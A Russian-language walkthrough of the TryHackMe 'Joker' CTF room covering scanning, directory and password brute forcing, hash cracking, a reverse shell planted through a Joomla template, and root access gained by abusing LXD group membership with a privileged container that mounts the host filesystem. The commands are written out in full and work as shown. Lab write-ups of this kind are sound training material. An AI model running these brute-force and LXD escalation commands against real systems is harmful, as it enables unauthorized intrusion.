Пост

TryHackMe - Joker CTF

Эскалация привилегий с использованием Linux Containers (LXD)

TryHackMe - Joker CTF

Введение

Очень интересный челлендж — это был мой первый опыт работы с Linux Containers.

Похоже, у нас есть и базовое руководство по шагам, поэтому действуем следующим образом:

  1. Перечисление сервисов
    • Nmap
  2. Брутфорс
    • Брутфорс файлов по HTTP
    • Брутфорс Basic Authentication
  3. Взлом хэшей
    • Брутфорс хэша для взлома zip-файла
    • Брутфорс хэша для взлома пользователя MySQL
  4. Эксплуатация
    • Получение reverse-соединения
    • Запуск TTY shell
  5. Эскалация привилегий
    • Получение root-доступа за счёт уязвимостей в LXD

Это методология, которая используется на большинстве машин, так что иметь такой базовый гайдлайн — очень полезно.

Tryhackme Room Link

Nmap

Начнём с nmap-сканирования:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.204.243
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ad:20:1f:f4:33:1b:00:70:b3:85:cb:87:00:c4:f4:f7 (RSA)
|   256 1b:f9:a8:ec:fd:35:ec:fb:04:d5:ee:2a:a1:7a:4f:78 (ECDSA)
|_  256 dc:d7:dd:6e:f6:71:1f:8c:2c:2c:a1:34:6d:29:99:20 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HA: Joker
|_http-server-header: Apache/2.4.29 (Ubuntu)
8080/tcp open  http    Apache httpd 2.4.29
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Please enter the password.
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 401 Unauthorized
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Открытые порты: 22/tcp 80/tcp 8080/tcp

Вопрос: Какая версия Apache используется?

Ответ:

1
2.4.29

При попытке доступа к резервному сайту на порту 8080/tcp у нас запрашиваются учётные данные.

Вопрос: Какой порт на этой машине не требует аутентификации по имени пользователя и паролю?

Ответ:

1
80

Разведка (Reconnaissance)

Вопрос: На этом порту есть файл, который выглядит как секретный. Что это за файл?

1
2
$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u "http://10.10.204.243/FUZZ" -fl 124 -e .txt
secret.txt              [Status: 200, Size: 320, Words: 62, Lines: 7, Duration: 45ms]

Ответ:

1
secret.txt

Давайте посетим 10.10.204.243/secret.txt

Secret.txt

Похоже, у нас есть 2 возможных пользователя: joker и batman.

Вопрос: Есть ещё один файл, который раскрывает информацию о backend’е. Что это за файл?

1
2
3
4
5
6
7
8
9
$ ffuf -w /usr/share/wordlists/dirb/common.txt -u "http://10.10.204.243/FUZZ" -fl 124 
.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 46ms]
.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 46ms]
.hta                    [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 47ms]
css                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 46ms]
img                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 45ms]
index.html              [Status: 200, Size: 5954, Words: 783, Lines: 97, Duration: 46ms]
phpinfo.php             [Status: 200, Size: 94822, Words: 4697, Lines: 1160, Duration: 144ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 45ms]

Ответ:

1
phpinfo.php

Вопрос: При чтении secret-файла мы находим диалог, в котором, судя по всему, участвуют как минимум два пользователя и встречаются некоторые ключевые слова, которые могут быть интересны. Какого пользователя вы считаете основным?

Ответ:

1
joker

Вопрос: Какой порт на этой машине требует аутентификации с помощью механизма Basic Authentication?

Ответ:

1
8080

Вопрос: На этом этапе у нас есть один пользователь и URL, который требует аутентификации. Проведите брутфорс, чтобы получить пароль. Какой это пароль?

1
hydra -l joker -P /usr/share/wordlists/rockyou.txt -t 20 10.10.204.243 -s 8080 http-get 

Ответ:

1
<CENSORED>

Давайте используем gobuster для этого, так как с учётными данными это сделать проще.

1
2
gobuster dir -u http://10.10.204.243:8080 -w /usr/share/wordlists/dirb/common.txt -U joker -P <CENSORED>
/administrator 

Ответ:

1
/administrator/

Rshell

Вопрос: Нам нужен доступ к административной части сайта, чтобы получить shell. Там есть файл резервной копии. Что это за файл?

В итоге мы вынуждены использовать nikto, так как мне не удалось найти ничего ни с помощью gobuster, ни с помощью ffuf.

1
2
$ nikto -h http://10.10.204.243:8080/ -id joker:<CENSORED> 
+ /backup.zip: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html

Ответ:

1
backup.zip

Вопрос: У нас есть файл резервной копии, и теперь нам нужно поискать в нём какую‑нибудь информацию, например базу данных, конфигурационные файлы и т.д. Но файл резервной копии, похоже, зашифрован. Какой у него пароль?

Нам нужно взломать пароль от zip‑файла с помощью john.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ zip2john backup.zip > joker.hash
└─$ john joker.hash                                                                                            
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
<CENSORED>           (backup.zip)     
1g 0:00:00:00 DONE 2/3 (2025-02-26 21:31) 25.00g/s 2258Kp/s 2258Kc/s 2258KC/s 123456..Peter
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Ответ:

1
<CENSORED>

Вопрос: Помни, что нам нужен доступ к административной панели сайта… Бла‑бла‑бла. В ходе нового исследования мы видим файлы с компрометирующей информацией — возможно, это база данных? Окей, а что если восстановить базу данных? В каких‑то таблицах точно должен быть user_table! Кто является супер‑дупер пользователем?

После проверки файла joombadb.sql мы можем увидеть супер‑дупер пользователя.

Ответ:

1
admin

Вопрос: Супер‑дупер пользователь! Какой у него пароль?

1
2
3
4
5
6
echo '$2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG' > pass.txt
john pass.txt
<CENSORED>        (?)     
1g 0:00:00:06 DONE 2/3 (2025-02-26 21:35) 0.1481g/s 109.3p/s 109.3c/s 109.3C/s yellow..allison
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Ответ:

1
<CENSORED>

Первоначальный доступ

Окей, после небольшого перечисления, я нашёл способ загрузить reverse shell. Extensions > Templates > Templates

Rshell1

Можем взглянуть на Beez3 и увидеть, что у нас есть возможность редактировать php‑файлы. Давайте вставим туда reverse shell, после чего можем нажать Template Preview уже после запуска нашего локального listener’а.

Rshell2

1
2
3
4
5
6
7
8
9
10
└─$ nc -lvnp 1337                                                                                              
listening on [any] 1337 ...
connect to [10.11.75.122] from (UNKNOWN) [10.10.204.243] 32938
Linux ubuntu 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 12:45:34 up  1:09,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Вопрос: На этом этапе вам нужно загрузить reverse shell, чтобы получить доступ к оболочке. Кто является владельцем этой сессии?

Ответ:

1
www-data

Вопрос: Этот пользователь состоит в группе, которая отличается от вашей. Что это за группа?

1
2
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)

Ответ:

1
lxd

Создайте TTY‑оболочку

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

Повышение привилегий

Так как мы состоим в группе lxd, это намекает на использование Linux‑контейнеров для повышения привилегий. После небольшого ресёрча, по сути, нам нужно:

  1. Установить LXC Alpine‑образ на атакующей машине
  2. Правильно его настроить
  3. Поднять HTTP‑сервер
  4. Скачать образ с целевой машины
  5. Запустить образ и получить доступ к файловой системе как root
1
2
3
4
5
6
7
lxc image import ./alpine-v3.11-x86_64-20200227_1750.tar.gz --alias myimage
lxc image list

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

Вопрос: Как называется файл в директории /root?

Ответ:

1
<CENSORED>.txt
Авторский пост защищен лицензией CC BY 4.0 .